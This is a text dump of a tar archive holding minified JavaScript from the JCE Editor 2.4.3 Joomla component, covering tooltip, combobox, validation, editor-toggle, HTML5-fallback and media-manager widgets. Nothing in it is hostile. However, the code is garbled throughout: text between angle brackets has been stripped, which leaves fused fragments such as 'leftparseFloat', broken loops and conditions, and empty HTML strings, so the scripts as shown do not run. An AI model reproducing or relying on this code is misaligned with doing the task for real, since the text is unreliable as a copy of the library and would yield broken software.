    ';}} $('div.jce-tooltip-content',$tips).html(h);$tips.show().attr('aria-hidden','false');if($.support.cssFloat){$tips.animate({'opacity':this.options.opacity},this.options.speed);}else{if(!window.XMLHttpRequest){$tips.css('width',200);}} this._trigger('show');window.setTimeout(function(){self._position();$tips.css('visibility','visible');},1);},close:function(){return this._end();},_end:function(){var $tips=$('#jce-tooltip'),element=$tips.data('source')||this.element;if($(element).data('title')){$(element).attr('title',$(element).data('title'));} $(element).removeAttr('aria-describedby');$tips.css('visibility','hidden').attr('aria-hidden','true').hide();if($.support.cssFloat){$tips.css('opacity',0);} this._trigger('hide');this._unpin();},_cancelOnDrag:function(){var self=this;$(this.element).bind('mousedown',function(){$(this).addClass('nohover');self._end();$(this).data('title',$(this).attr('title')).attr('title','');}).bind('mouseup',function(){$(this).removeClass('nohover');$(this).attr('title',$(this).data('title'));});},_pin:function(){var self=this;$('#jce-tooltip').addClass('sticky');$('span.ui-icon-close','#jce-tooltip').show();$(window).on('click.tooltip-blur',function(e){var el=$(self.element).get(0),n=e.target;if(n==el||(el.nodeName=='LABEL'&&$(el).attr('for')&&n==$('#'+$(el).attr('for')).get(0))||n==$('#jce-tooltip').get(0)){return;} if($(n).parents('#jce-tooltip').length===0){self._end();}});},_unpin:function(){$('#jce-tooltip').removeClass('sticky');$('span.ui-icon-close','#jce-tooltip').hide();$(window).off('click.tooltip-blur');},_position:function(){var $tips=$('#jce-tooltip');var $pointer=$('.jce-tooltip-pointer',$tips);var o=this.options.offsets;var tip={'width':$tips.outerWidth(),'height':$tips.outerHeight()};$($pointer).attr('style','');var position=this.options.position;var at=position.replace(/\s*center\s*/,'');var my=at.replace(/(left|right|top|bottom)/,function(s){switch(s){case'left':return'right-'+o.x;break;case'right':return'left+'+o.x;break;case'top':return'bottom-'+o.y;break;case'bottom':return'top+'+o.y;break;}});var pos={},ww=Math.round($(window).width()),wh=Math.round($(window).height()),pw=10,ph=10,st=$(window).scrollTop();$tips.position({my:my,at:at,of:$(this.element),collision:'flipfit flipfit',using:function(props,fb){if(Math.round(props.top)==0){props.top+=10;} if(Math.round(props.left)==0){props.left+=10;} if(Math.round(props.top+tip.height)==wh){props.top-=10;} if(Math.round(props.left+tip.width)==ww){props.left-=10;} if(/left|right/.test(position)){$pointer.css('top',Math.round(fb.target.top-fb.element.top)+fb.target.height/2);} if(/top|bottom/.test(position)&&Math.round(fb.element.left)==0){$pointer.css('left',fb.target.left+Math.round(fb.target.width/2)-pw);} if(fb.element.leftparseFloat($(window).width())){pos.x=parseFloat($(window).width())-(tip.x/2+5);} $tips.css({top:pos.y,left:pos.x});},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.tips,{version:"2.4.3"});})(jQuery);com_jce/editor/libraries/js/index.html000066600000000054150771500630014025 0ustar00com_jce/editor/libraries/js/select.js000066600000003773150771500630013660 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function($){$.widget("ui.combobox",{options:{label:'Add Value',change:$.noop},_init:function(options){var self=this;$(this.element).removeClass('mceEditableSelect').addClass('editable');$('').insertAfter(this.element).click(function(e){if($(this).hasClass('disabled')) return;self._onChangeEditableSelect(e);});if($(this.element).is(':disabled')){$(this.element).next('span.editable-edit').addClass('disabled');}},_onChangeEditableSelect:function(e){var self=this;this.input=document.createElement('input');$(this.input).attr('type','text').addClass('editable-input').val($(this.element).val()).insertBefore($(this.element)).width($(this.element).width());$(this.input).blur(function(){self._onBlurEditableSelectInput();}).keydown(function(e){self._onKeyDown(e);});$(this.element).hide();this.input.focus();},_onBlurEditableSelectInput:function(){var self=this,o,found,v=$(this.input).val();if(v!=''){$('option:selected',this.element).prop('selected',false);if($('option[value="'+v+'"]',this.element).is('option')){$(this.element).val(v).change();}else{if(!found){var pattern=$(this.element).data('pattern');if(pattern&&!new RegExp('^(?:'+pattern+')$').test(v)){var n=new RegExp('('+pattern+')').exec(v);v=n?n[0]:'';} if(v!=''){if($('option[value="'+v+'"]',this.element).length==0){$(this.element).append(new Option(v,v));} $(this.element).val(v).change();}}} self.options.change.call(self,v);}else{$(this.element).val('')||$('option:first',this.element).attr('selected','selected');} $(this.element).show();$(this.input).remove();},_onKeyDown:function(e){if(e.which==13||e.which==27){this._onBlurEditableSelectInput();}},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.combobox,{version:"2.4.3"});})(jQuery);com_jce/editor/libraries/js/tiny_mce_utils.js000066600000017666150771500630015436 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ TinyMCE_Utils={getColorPickerHTML:function(id){var h="";h+='';h+='';return h;},updateColor:function(parent){if(typeof parent=='string'){parent=document.getElementById(parent);} document.getElementById(parent.id+'_pick').style.backgroundColor=parent.value;},setBrowserDisabled:function(id,state){var img=document.getElementById(id);var lnk=document.getElementById(id+"_link");if(lnk){if(state){lnk.setAttribute("realhref",lnk.getAttribute("href"));lnk.removeAttribute("href");tinyMCEPopup.dom.addClass(img,'disabled');}else{lnk.setAttribute("href",lnk.getAttribute("realhref"));tinyMCEPopup.dom.removeClass(img,'disabled');}}},getBrowserHTML:function(id,target_form_element,type,prefix){var option=prefix+"_"+type+"_browser_callback",cb,html;var cb,html;cb=tinyMCEPopup.getParam(option,tinyMCEPopup.getParam("file_browser_callback"));if(!cb){return"";} html="";html+='';html+='';return html;},openBrowser:function(img,input,type,option){if(typeof img=='string'){img=document.getElementById(img);} if(!/mceButtonDisabled/.test(img.className)){tinyMCEPopup.openBrowser(input,type,option);}},fillClassList:function(id){var ed=tinyMCEPopup.editor,lst=document.getElementById(id),v,cl;if(v=tinyMCEPopup.getParam('theme_advanced_styles')){cl=[];tinymce.each(v.split(';'),function(v){var p=v.split('=');cl.push({'title':p[0],'class':p[1]});});}else{cl=ed.dom.getClasses();} tinymce.each(['jcepopup','jcetooltip'],function(o){lst.options[lst.options.length]=new Option(o,o);});if(cl.length>0){tinymce.each(cl,function(o){lst.options[lst.options.length]=new Option(o.title||o['class'],o['class']);});}}};var themeBaseURL=tinyMCEPopup.editor.baseURI.toAbsolute('themes/'+tinyMCEPopup.getParam("theme"));function getColorPickerHTML(id,target_form_element){return TinyMCE_Utils.getColorPickerHTML(target_form_element);} function updateColor(img_id,form_element_id){return TinyMCE_Utils.updateColor(form_element_id);} function setBrowserDisabled(id,state){return TinyMCE_Utils.setBrowserDisabled(id,state);} function getBrowserHTML(id,target_form_element,type,prefix){return TinyMCE_Utils.getBrowserHTML(id,target_form_element,type,prefix);} function openBrowser(img_id,target_form_element,type,option){return TinyMCE_Utils.openBrowser(img_id,target_form_element,type,option);} function selectByValue(form_obj,field_name,value,add_custom,ignore_case){if(!form_obj||!form_obj.elements[field_name]||typeof value=='undefined') return;var sel=form_obj.elements[field_name];var found=false;for(var i=0;iparseInt(v)) st=this.mark(f,n);}} return st;},hasClass:function(n,c,d){return new RegExp('\\b'+c+(d?'[0-9]+':'')+'\\b','g').test(n.className);},getNum:function(n,c){c=n.className.match(new RegExp('\\b'+c+'([0-9]+)\\b','g'))[0];c=c.replace(/[^0-9]/g,'');return c;},addClass:function(n,c,b){var o=this.removeClass(n,c);n.className=b?c+(o!=''?(' '+o):''):(o!=''?(o+' '):'')+c;},removeClass:function(n,c){c=n.className.replace(new RegExp("(^|\\s+)"+c+"(\\s+|$)"),' ');return n.className=c!=' '?c:'';},tags:function(f,s){return f.getElementsByTagName(s);},mark:function(f,n){var s=this.settings;this.addClass(n,s.invalid_cls);this.markLabels(f,n,s.invalid_cls);return false;},markLabels:function(f,n,ic){var nl,i;nl=this.tags(f,"label");for(i=0;i'+label+'');DOM.setStyle(div,'cursor','pointer');el.parentNode.insertBefore(div,el);Event.add(div,'click',function(e){self.toggle(el,use_cookies);});if(!state){DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');self._wrapText(el,true);}else{if(parseInt(cookie)==0){DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');self._wrapText(el,true);}else{DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');}}});},toggle:function(el,use_cookies){var self=this,ed=tinyMCE.get(el.id),DOM=tinymce.DOM;if(!ed){if(use_cookies){tinymce.util.Cookie.set('wf_editor_'+el.id+'_state',1);} DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');tinyMCE.execCommand('mceAddEditor',0,el.id);}else{self._wrapText(ed.getElement(),true);if(ed.isHidden()){if(use_cookies){tinymce.util.Cookie.set('wf_editor_'+el.id+'_state',1);} DOM.removeClass(el,'wfNoEditor');DOM.addClass(el,'wfEditor');ed.load();ed.show();}else{if(use_cookies){tinymce.util.Cookie.set('wf_editor_'+el.id+'_state',0);} DOM.removeClass(el,'wfEditor');DOM.addClass(el,'wfNoEditor');ed.save({no_events:false});ed.hide();}}},_wrapText:function(el,s){var v,n;el.setAttribute("wrap",s);if(!tinymce.isIE){v=el.value;n=el.cloneNode(false);n.setAttribute("wrap",s);el.parentNode.replaceChild(n,el);n.value=v;}},showLoader:function(el){tinymce.DOM.addClass('.wfEditor','loading');},hideLoader:function(el){tinymce.DOM.removeClass(el,'loading');},setContent:function(id,html){var ed=tinyMCE.get(id);if(ed){ed.setContent(html);}else{document.getElementById(id).value=html;}},getContent:function(id){var ed=tinyMCE.get(id);if(ed&&!ed.isHidden()){return ed.save();} return document.getElementById(id).value;},insert:function(el,v){var ed,win=window;if(window.parent.tinymce){win=window.parent;} if(el){if(typeof el==='string'){el=document.getElementById(el);} if(el&&el.id){ed=win.tinyMCE.get(el.id);}} if(!ed){ed=win.tinyMCE.activeEditor;} if(!ed||ed.isHidden()){this.insertIntoTextarea(el,v);return true;} if(ed){if(ed.lastSelectionBookmark){ed.selection.moveToBookmark(ed.lastSelectionBookmark);} ed.execCommand('mceInsertContent',false,v);}},insertIntoTextarea:function(el,v){if(document.selection){el.focus();var s=document.selection.createRange();s.text=v;}else{if(el.selectionStart||el.selectionStart=='0'){var startPos=el.selectionStart;var endPos=el.selectionEnd;el.value=el.value.substring(0,startPos)+v+el.value.substring(endPos,el.value.length);}else{el.value+=v;}}},convertURL:function(url,elm,save,name){var ed=tinymce.EditorManager.activeEditor,s=tinymce.settings,base=s.document_base_url;if(!url) return url;if(!s.convert_urls||(elm&&elm.nodeName=='LINK')||url.indexOf('file:')===0) return url;if(url==base||url==base.substring(0,base.length-1)||url.charAt(0)=='/'){return url;} if(s.relative_urls) return ed.documentBaseURI.toRelative(url);url=ed.documentBaseURI.toAbsolute(url,s.remove_script_host);return url;},indent:function(h){h=h.replace(/\n+/g,'\n');return tinymce.trim(h);}};window.WFEditor=WFEditor;}());com_jce/editor/libraries/js/html5.js000066600000010030150771500630013412 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function($){var docElement=document.documentElement;var smile=':)';var $input=document.createElement('input');var $div=document.createElement('div');$.support.input={};$.support.input.attr=(function(at){var o={},i;for(i=0,n=at.length;i').attr({id:$(this).attr('id'),'class':$(this).attr('class'),name:$(this).attr('name')}).slider({min:parseInt(min),max:parseInt(max),step:parseInt(step),value:$(this).val(),slide:function(e,ui){$(self).val(ui.value).change();},start:function(){$(self).mousedown();},stop:function(){$(self).mouseup();}}).insertBefore(this);$(this).hide();return slider;} return this;};$.fn.number=function(){if(!$.support.input.type.number){return this.change(function(){var v=parseFloat($(this).val()),pv=$(this).attr('placeholder');if(typeof pv=='undefined'){pv='';} if($.isNumeric(v)===false){$(this).val(pv);}});} return this;};$.fn.placeholder=function(){if(!$.support.input.attr.placeholder){return this.each(function(){var v=$(this).attr('placeholder'),iv=$(this).val();if(iv===''||iv==v){$(this).addClass('placeholder').val(v).click(function(){if($(this).hasClass('placeholder')){$(this).val('').removeClass('placeholder');}}).blur(function(){iv=$(this).val();if(iv===''||iv==v){$(this).addClass('placeholder').val(v);}});} $(this).change(function(){iv=$(this).val();if(iv===''){$(this).addClass('placeholder').val(v);}else{$(this).removeClass('placeholder');}});});} return this;};$.fn.min=function(){if(!$.support.input.attr.min){return this.change(function(){var m=parseFloat($(this).attr('min')),v=parseFloat($(this).val()),pv=$(this).attr('placeholder');if(pv!='undefined'&&pv==v){return this;} if(vm){$(this).val(m);}});} return this;};$.fn.pattern=function(){this.change(function(){var pattern=$(this).attr('pattern'),v=$(this).val(),pv=$(this).attr('placeholder');if(pv!='undefined'&&pv==v){return this;} if(!new RegExp('^(?:'+pattern+')$').test(v)){var n=new RegExp('('+pattern+')').exec(v);if(n){$(this).val(n[0]);}}});return this;};})(jQuery);com_jce/editor/libraries/js/manager.js000066600000111657150771500630014014 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function($){$.widget("ui.MediaManager",{_actions:[],_buttons:{'folder':{},'file':{}},_dialog:[],_returnedItems:[],_pasteitems:'',_pasteaction:'',_limitcount:0,_limitend:0,options:{base:'',dir:'images',dialog:{list:'#browser-list',tree:'#tree-body',info:'#browser-details-text',limit:'#browser-list-limit',comments:'#browser-details-comment',nav:'#browser-details-nav',status:'#browser-message',message:'#message-info',buttons:'#browser-buttons',actions:'#browser-actions',refresh:'#refresh',search:'#search'},actions:null,buttons:null,folder_tree:true,details:true,search:true,upload:{size:'1024kb',types:{},overwrite:true,limit:false,runtimes:'html5,flash,html4',chunk_size:'1mb',insert:true,dialog:{},elements:null,buttons:{}},folder_new:{dialog:null},rename:{dialog:null},viewable:'jpeg,jpg,gif,png,avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mp3,mp4,m4v,mpeg,ogg,ogv,webm,swf,flv,f4v,xml,dcr,rm,ra,ram,divx,html,htm,txt,rtf,pdf,doc,docx,xls,xlsx,ppt,pptx',use_cookies:true,listlimit:'all',expandable:true,websafe_mode:'utf-8',websafe_spaces:false,websafe_textcase:'',date_format:'%d/%m/%Y, %H:%M'},_init:function(){var self=this;this._addActions(this.options.actions);this._addButtons(this.options.buttons);var dialog=this.options.dialog;var list=document.createElement('ul');$(list).addClass('item-list').attr({'id':'item-list','role':'listbox'}).bind('click.item-list',function(e){var n=e.target,p=n.parentNode;switch(n.nodeName){case'A':if($(p).hasClass('folder')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}else{self._setSelectedItems(e,true);self._trigger('onFileClick',e,p);} break;case'LI':if($(n).hasClass('folder-up')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);} if($(n).hasClass('folder')){if(e.pageX<$('a',p).offset().left){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}} self._setSelectedItems(e,true);break;case'SPAN':if($(n).hasClass('checked')){$(n).removeClass('checked').attr('aria-checked',false);self._removeSelectedItems([p],true);}else{self._setSelectedItems(e,true);$(n).attr('aria-checked',true);} break;} e.preventDefault();}).bind('dblclick.item-list',function(e){e.preventDefault();return false;}).bind('keydown.item-list',function(e){switch(e.which){case 13:n=$('li.selected:last','#item-list').get(0);if(!n) return;if($(n).hasClass('folder')){var u=$(p).data('url')||self._getPreviousDir();return self._changeDir(u);}else{self._setSelectedItems(e,true);self._trigger('onFileClick',e,n);} break;case 38:case 40:self._setSelectedItems(e);break;} e.preventDefault();});$('#browser-list').append(list).bind('scroll.browser-list',function(e){self._updateList();});$('span.details-nav-left, span.details-nav-right','#browser-details-nav').click(function(){var $item=$('li.selected.active','#item-list').removeClass('active');if($(this).hasClass('details-nav-left')){$item.prevAll('li.selected:first').addClass('active');} if($(this).hasClass('details-nav-right')){$item.nextAll('li.selected:first').addClass('active');} self._showItemDetails();});$(dialog.limit+'-select').val($.Cookie.get('wf_'+$.Plugin.getName()+'_limit')||this.options.listlimit);$(dialog.limit+'-select').change(function(){self._limitcount=0;if(self.options.use_cookies){$.Cookie.set('wf_'+$.Plugin.getName()+'_limit',$(this).val());} self.refresh();});$('ul li',dialog.limit).click(function(){var x=0,count=self._limitcount,limit=parseInt(self._limit);if($(this).hasClass('limit-left')){x=count-limit;} if($(this).hasClass('limit-right')){x=count+limit;} if($(this).hasClass('limit-right-end')){x=count=self._limitend;} self._limitcount=x;self.refresh();});$('span.checkbox','#check-all').click(function(e){var el=e.target;if($(el).hasClass('checked')){$(el).removeClass('checked').attr('aria-checked',false);$('span.checkbox',$(dialog.list)).removeClass('checked').attr('aria-checked',false);self._deselectItems();}else{$(el).addClass('checked').attr('aria-checked',true);self._selectItems($('li.folder, li.file',$(dialog.list)).not('li.folder-up'),true);}});this._setupSortables();this._toggleTree(this._treeLoaded());$('#block-search-icon').toggle(this.options.search) $('#show-details').toggle(this._treeLoaded()&&this.options.details);$('#show-search').click(function(){$('#searchbox').toggleClass('hide').attr('aria-hidden',function(){return $(this).hasClass('hide');});$(this).toggleClass('active');if($(this).hasClass('active')){var end=$(this).prevAll(':visible').get(1);var width=$(end).parent().width()-$(end).position().left-parseInt($('#searchbox').css('right'));var spacers=$(end).nextAll(':visible').not(this).children('div.spacer');$('#searchbox').width(width-(spacers.length*$(spacers).outerWidth(true)));$('#search').focus();}});$('body').click(function(e){if($('#searchbox input').val()||$(e.target).is('#show-search, span.layout-icon.search')||$(e.target).parents('#searchbox').length){return;} $('#searchbox').addClass('hide').attr('aria-hidden',true);$('#show-search').removeClass('active');});$(dialog.search).listFilter({list:dialog.list,items:'#item-list li.file',clear:$('span.search-icon','#searchbox'),filter:'#item-list li',onFilter:function(e,s,cb,scope){if($('#browser-list-limit-select').val()=='all'){return $(this).listFilter('filter',s);} if(s&&self._isWebSafe(s)){$('#browser-list').one('load.filter',function(){cb.call(scope||self,$('li.file','#item-list').get());});self._getList('',s);}else{self.refresh();}},onFind:function(e,items){if(e.currentTarget==$('span.search-icon','#searchbox').get(0)){if($('#browser-list-limit-select').val()=='all'){return $(this).listFilter('reset');} self.refresh();}}});$(dialog.refresh).click(function(){self.refresh();});$('#show-details:visible').click(function(e){var span=e.target;$(span).toggleClass('tree');self._showListDetails();});var ih=this._getInterfaceHeight();$(window).bind('resize',function(){self.resize(ih);});$('#layout-full-toggle').toggle(this.options.expandable).click(function(){$('#browser').toggleClass('full-height');self.resize(ih);self._trigger($('#browser').hasClass('full-height')?'onMaximise':'onMinimise');});this._setupDir();self.resize(ih);this._trigger('onInit');},_updateList:function(){var self=this;var area=$('#browser-list').height()+$('#browser-list').scrollTop();$('li.file.jpg, li.file.jpeg, li.file.png, li.file.gif, li.file.bmp','#item-list').not('[data-width]').each(function(){var pos=$(this).position();if(pos.top...';} if(o.folders.length){$.each(o.folders,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){if(v!==''){data.push('data-'+k+'="'+v+'"');}});data.push('data-url="'+(e.url||e.id)+'"');classes.push(self._isWebSafe(e.name)?'safe':'notsafe');classes.push(e.writable?'writable':'notwritable');if(e.classes){classes.push(e.classes);} h+='
  • '+e.name+'
  • ';});} if(o.total.files){$.each(o.files,function(i,e){var data=[],classes=[];$.each(e.properties,function(k,v){if(v!==''){data.push('data-'+k+'="'+v+'"');}});data.push('data-url="'+(e.url||e.id)+'"');data.push('id="'+e.id+'"');classes.push(self._isWebSafe(e.name)?'safe':'notsafe');classes.push(e.writable?'writable':'notwritable');if(e.selected){self._addReturnedItem({'name':e.id});} if(e.classes){classes.push(e.classes);} h+='
  • '+e.name+'
  • ';});}else{h+='
  • '+self._translate('no_files','No files')+'
  • ';} $('#item-list').html(h);this._showListDetails();},_showListDetails:function(){var s=!$('span.layout-icon','#show-details').hasClass('tree')&&this._treeLoaded();this._toggleTree(s);},_treeLoaded:function(){return this.options.folder_tree&&typeof $.ui.tree!='undefined';},_createTree:function(src){var self=this,dialog=this.options.dialog;var path=src||this._dir;path=this._cleanPath(path);$(dialog.tree).tree({onInit:function(e,callback){$.JSON.request('getTree',path,function(o){$(dialog.tree).html(o);if($.isFunction(callback)){callback.apply();} self._getList(src);});},onNodeClick:function(e,node){self._changeDir($(node).attr('id'));$(dialog.tree).tree('toggleNode',e,node);},onNodeLoad:function(e,node){$(dialog.tree).tree('toggleLoader',node);$.JSON.request('getTreeItem',$(node).attr('id'),function(o){if(o){if(!o.error){$('ul:first',node).remove();$(dialog.tree).tree('createNode',o.folders,node);$(dialog.tree).tree('toggleNodeState',node,true);}else{alert(o.error);}} $(dialog.tree).tree('toggleLoader',node);},this);}});},_reset:function(){this._deselectItems();this._returnedItems=[];$.each(this._dialog,function(i,n){$(n).dialog('close');});$('span.checkbox',$('#check-all')).removeClass('checked');$('span','#browser-details-nav').removeClass('visible').attr('aria-hidden',true).filter('span.details-nav-text').empty();},_clearPaste:function(){this._pasteaction='';this._pasteitems='';this._hideButtons($('div.paste','#buttons'));},setStatus:function(o){$(this.options.dialog.status).attr('class',o.state||'');$(this.options.dialog.status).html(''+o.message||''+'');},_setMessage:function(message,classname){return true;},_setLoader:function(){this.setStatus({message:this._translate('message_load','Loading...'),state:'load'});},_resetMessage:function(){return true;},_resetStatus:function(){var self=this,dir=decodeURIComponent(this._dir),$status=$(this.options.dialog.status);this.setStatus({message:'',state:''});$status.empty();var $pathway=$('
      ').addClass('pathway').appendTo($status);var sw=$status.width();var $root=$('
    • ').html(self._translate('root','Root')).click(function(){self._changeDir('/');}).appendTo($pathway);dir=$.trim(dir.replace(/^\//,''));var $count=$('
    • ( '+this._foldercount+' '+this._translate('folders','folders')+', '+this._filecount+' '+this._translate('files','files')+')
    • ').appendTo($pathway);var w=bw=$root.outerWidth(true)+$count.outerWidth(true);if(dir){var x=1,parts=dir.split('/');$.each(parts,function(i,s){var path=s;if(i>0){path=parts.slice(0,i+1).join('/');} var $item=$('
    • ').click(function(e){self._changeDir(path);}).html('› '+s).insertBefore($count);w+=$item.outerWidth(true);if(w>(sw-bw)){$('li',$pathway).eq(x++).html('› ...');}});}},_getPreviousDir:function(){if(this._dir.length<2){return this._dir;} var dirs=this._dir.split('/');var s='';for(var i=0;i0){$('#browser-list-limit ul.limit-left li').css('display','inline-block').attr('aria-hidden',false);}else{$('#browser-list-limit ul.limit-left li').hide().attr('aria-hidden',true);} if(o.folders.length){this._dir=$.String.encodeURI($.String.dirname(o.folders[0].id)||'/',true);}else if(o.files.length){this._dir=$.String.encodeURI($.String.dirname(o.files[0].id)||'/',true);} if(!this._isRoot()){$('#folder-list').append('
    • '+(v.label||k)+'';elements+='';elements+='

      ';}else{elements+='

      ';}});}else{return options.elements;}} return elements;},_execute:function(name){var self=this;var dir=this._dir;dir=dir.replace(/^[\/\\]+/,'');var list=this._serializeSelectedItems();var site=$.Plugin.getURI(true);switch(name){case'help':$.Plugin.help();break;case'insert':this._trigger('onFileInsert',null,$('li.selected','#item-list').get(0));break;case'view':var $item=$('li.selected.active:first','#item-list');var url=$item.data('url');url=/http(s)?:\/\//.test(url)?url:$.String.path(site,url);if($item.data('preview')){url=$item.data('preview');} var name=$.String.basename($item.attr('title'));if(this._isViewable(name)){if(/\.(jpeg|jpg|gif|png|avi|wmv|wm|asf|asx|wmx|wvx|mov|qt|mpg|mp3|mp4|m4v|mpeg|ogg|ogv|webm|swf|flv|f4v|xml|dcr|rm|ra|ram|divx|pdf)/i.test(name)){$.Dialog.media(name,url);}else{$.Dialog.iframe(name,url,{onFrameLoad:function(e){var iframe=$('div.iframe-preview iframe').get(0);var h=iframe.contentWindow.document.body.innerHTML;var tmpDiv=document.createElement('div');$(tmpDiv).html(h);function toRelative(s){s=$.URL.toRelative(s);return s.replace(/^administrator\//,'');} $('img, embed',$(tmpDiv)).each(function(){var s=toRelative($(this).attr('src'));if(!/http(s)?:\/\//.test(s)){s=$.String.path(site,s);} $(this).attr('src',s);});$('a, area',$(tmpDiv)).each(function(){var s=toRelative($(this).attr('href'));if(!/http(s)?:\/\//.test(s)){s=$.String.path(site,s);} $(this).attr('href',s);});$('object',$(tmpDiv)).each(function(){$('param[name=movie], param[name=src]',this).each(function(){var s=toRelative($(this).attr('value'));if(!/http(s)?:\/\//.test(s)){s=string.path(site,s);} $(this).attr('value',s);});});iframe.contentWindow.document.body.innerHTML=tmpDiv.innerHTML;}});}} break;case'upload':this._dialog['upload']=$.Dialog.upload($.extend({elements:this._getDialogOptions('upload'),onOpen:function(){$('#upload-options:empty').hide();$('#upload-dir').val(dir);function _checkName(file){var found=false,msg=self._translate('file_exists_alert','A file with the same name exists in the target folder.');var name=$.String.safe(file.name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);$('li','file-list').each(function(){if(name==$(this).attr('title')){found=true;}});var el=file.element,span=$('span.queue-name:first',el);if(found){if(!$(el).hasClass('exists')){$(el).addClass('exists');$(span).attr('title',name+'::'+msg);$(span).tips();}}else{if($(el).hasClass('exists')){$(el).removeClass('exists');$(span).attr('title',name);}} return true;} $('#upload-queue').uploader($.extend({swf:site+'components/com_jce/editor/libraries/plupload/plupload.flash.swf',xap:site+'components/com_jce/editor/libraries/plupload/plupload.silverlight.xap',url:$('form:first').attr('action'),field:$('input[name=file]:first'),fileSelect:function(e,file){return _checkName(file);},websafe_mode:self.options.websafe_mode,websafe_spaces:self.options.websafe_spaces,websafe_textcase:self.options.websafe_textcase,fileRename:function(e,file){return _checkName(file);},fileComplete:function(e,file){if($.type(file)=='string'){file={name:file};} self._addReturnedItem(file);self._trigger('onUploadFile',null,file);},uploadComplete:function(up,files){$('#upload-submit').disabled=false;if(up.total==files.length&&$('#upload-queue').uploader('getErrors')==0){self._getList();window.setTimeout(function(){$(self._dialog['upload']).dialog('close');},1000);self._trigger('onUploadComplete');}}},self.options.upload));self._trigger('onUploadOpen');},dragStop:function(){$('#upload-queue').uploader('refresh');},upload:function(){if($('#upload-queue').uploader('isUploading')){return false;} var data={'action':'upload','format':'raw'},fields=$.merge($(':input','form').serializeArray(),$(':input','#upload-body').serializeArray());$.each(fields,function(i,field){data[field.name]=field.value;});self._trigger('onUpload',null,data);$('#upload-queue').uploader('upload',data);return false;},beforeClose:function(){$('#upload-queue').uploader('close');},resize:function(){$('#upload-queue').uploader('refresh');}},self.options.upload.dialog));break;case'folder_new':var elements=this._getDialogOptions('folder_new');this._dialog['folder_new']=$.Dialog.prompt(self._translate('folder_new','New Folder'),{text:self._translate('name','Name'),elements:elements,height:elements?200:150,confirm:function(v){if(v){self._setLoader();var args=[dir,$.String.safe(v,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase)];$(':input:not(input[name="prompt"])',$(self._dialog['folder_new']).dialog('widget')).each(function(){args.push($(this).val());});$.JSON.request('folderNew',args,function(o){if(o){self._trigger('onFolderNew');$(self._dialog['folder_new']).dialog('close');} self.refresh();});}}});break;case'copy':case'cut':this._pasteaction=name;this._pasteitems=list;this._showPasteButton();break;case'paste':var fn=(this._pasteaction=='copy')?'copyItem':'moveItem';this._setLoader();var items=this._pasteitems;$.JSON.request(fn,[items,dir],function(o){if(o){if(o.folders.length){if(self._treeLoaded()){$.each(items.split(','),function(i,item){if(fn=='moveItem'){$(self.options.dialog.tree).tree('removeNode',item);}});}} self._trigger('onPaste');} self._clearPaste();self.refresh();});break;case'delete':var msg=self._translate('delete_item_alert','Delete Selected Item(s)');this._dialog['confirm']=$.Dialog.confirm(msg,function(state){if(state){self._setLoader();$.JSON.request('deleteItem',list,function(o){if(o){if(o.folders.length){if(self._treeLoaded()){$.each(list.split(','),function(i,item){$(self.options.dialog.tree).tree('removeNode',item);});} self._trigger('onFolderDelete',null,o.folders);} if(o.files.length){self._trigger('onFileDelete',null,o.files);}} self.refresh();});}});break;case'rename':var s=this.getSelectedItems(0);var v=$.String.basename(list);if($(s).hasClass('file')){v=$.String.basename($.String.stripExt(list));} this._dialog['rename']=$.Dialog.prompt(self._translate('rename','Rename Item'),{text:self._translate('name','Name'),value:v,elements:this._getDialogOptions('rename'),confirm:function(name){name=$.String.safe(name,self.options.websafe_mode,self.options.websafe_spaces,self.options.websafe_textcase);if(v==name){$.Dialog.alert(self._translate('rename_item_name_new','Please specify a new name for the item'));return false;} self._dialog['confirm']=$.Dialog.confirm(self._translate('rename_item_alert','Renaming files/folders will break existing links. Continue?'),function(state){if(state){self._setLoader();var args=[list,name];$(':input:not(input[name="prompt"])',$(self._dialog['rename']).dialog('widget')).each(function(){args.push($(this).val());});$(self._dialog['rename']).dialog('close');$.JSON.request('renameItem',args,function(o){if(o){self._reset();var item=$.String.path(self._dir,name);if(o.folders.length){if(self._treeLoaded()){$(self.options.dialog.tree).tree('renameNode',list,item);} self._trigger('onFolderRename',null,list,item);} if(o.files.length){self._trigger('onFileDelete',null,item);} if(item){self._addReturnedItem({name:item});}} self.refresh();});}});}});break;}},_raiseError:function(error){var self=this,err='';switch($.type(error)){case'array':err+='
        ';$.each(error,function(k,v){err+='
      • '+v+'
      • ';});err+='
